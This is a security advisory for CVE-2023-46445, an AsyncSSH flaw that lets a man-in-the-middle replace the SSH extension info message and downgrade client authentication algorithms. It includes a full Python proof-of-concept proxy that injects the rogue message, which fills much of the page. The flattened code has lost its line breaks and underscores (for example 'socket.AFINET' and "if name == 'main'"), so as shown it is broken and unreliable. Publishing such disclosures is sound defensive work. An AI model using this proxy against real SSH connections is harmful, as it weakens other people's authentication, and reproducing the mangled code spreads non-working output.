CVE-2023-46445: Medium severity Asyncssh Project Asyncssh vulnerability
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Details
The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.
A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).
PoC
<details> <summary>AsyncSSH Client 2.14.0 (simpleclient.py example) connecting to AsyncSSH Server 2.14.0 (simpleserver.py example)</summary>
python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simpleclient.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simpleserver.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXYIP = '127.0.0.1' PROXYPORT = 2222 # IP and port of the server SERVERIP = '127.0.0.1' SERVERPORT = 22 # Length of the individual messages NEWKEYSLENGTH = 16 SERVEREXTINFOLENGTH = 676 newkeyspayload = b'\x00\x00\x00\x0c\x0a\x15' def containsnewkeys(data): return newkeyspayload in data # Empty EXTINFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogueextinfo = unhexlify('0000000C060700000000000000000000') def insertrogueextinfo(data): newkeysindex = data.index(newkeyspayload) # Insert rogue extension info and remove SSHMSGEXTINFO return data[:newkeysindex] + rogueextinfo + data[newkeysindex:newkeysindex + NEWKEYSLENGTH] + data[newkeysindex + NEWKEYSLENGTH + SERVEREXTINFOLENGTH:] def forwardclienttoserver(clientsocket, serversocket): try: while True: clientdata = clientsocket.recv(4096) if len(clientdata) == 0: break serversocket.send(clientdata) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forwardclienttoserver thread ran out of data, closing sockets!") clientsocket.close() serversocket.close() def forwardservertoclient(clientsocket, serversocket): try: while True: serverdata = serversocket.recv(4096) if containsnewkeys(serverdata): print("[+] SSHMSGNEWKEYS sent by server identified!") if len(serverdata) < NEWKEYSLENGTH + SERVEREXTINFOLENGTH: print("[+] serverdata does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(serverdata) < NEWKEYSLENGTH + SERVEREXTINFOLENGTH: serverdata += serversocket.recv(4096) print(f"[d] Original serverdata before modification: {serverdata.hex()}") serverdata = insertrogueextinfo(serverdata) print(f"[d] Modified serverdata with rogue extension info: {serverdata.hex()}") if len(serverdata) == 0: break clientsocket.send(serverdata) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forwardservertoclient thread ran out of data, closing sockets!") clientsocket.close() serversocket.close() if name == 'main': print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---") mitmsocket = socket.socket(socket.AFINET, socket.SOCKSTREAM) mitmsocket.bind((PROXYIP, PROXYPORT)) mitmsocket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXYIP, PROXYPORT)} for incoming connections...") try: while True: clientsocket, clientaddr = mitmsocket.accept() print(f"[+] Accepted connection from: {clientaddr}") print(f"[+] Establishing new server connection to {(SERVERIP, SERVERPORT)}.") serversocket = socket.socket(socket.AFINET, socket.SOCKSTREAM) serversocket.connect((SERVERIP, SERVERPORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forwardclienttoserver, args=(clientsocket, serversocket)).start() Thread(target=forwardservertoclient, args=(clientsocket, serversocket)).start() except KeyboardInterrupt: clientsocket.close() serversocket.close() mitmsocket.close() </details>
Impact
Algorithm downgrade during user authentication.
Other sources
An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a "Rogue Extension Negotiation."
Affected Software
Event History
Frequently Asked Questions
What is the vulnerability ID for this issue?
The vulnerability ID for this issue is CVE-2023-46445.
What is the title of the vulnerability?
The title of the vulnerability is 'An issue in AsyncSSH allows extension info message control via man-in-the-middle attack.'
What is the severity of CVE-2023-46445?
The severity of CVE-2023-46445 is medium with a CVSS score of 5.3.
What is the affected software?
The affected software is AsyncSSH version 2.14.0 and earlier.
How can I fix the vulnerability?
To fix the vulnerability, upgrade to AsyncSSH version 2.14.1 or later.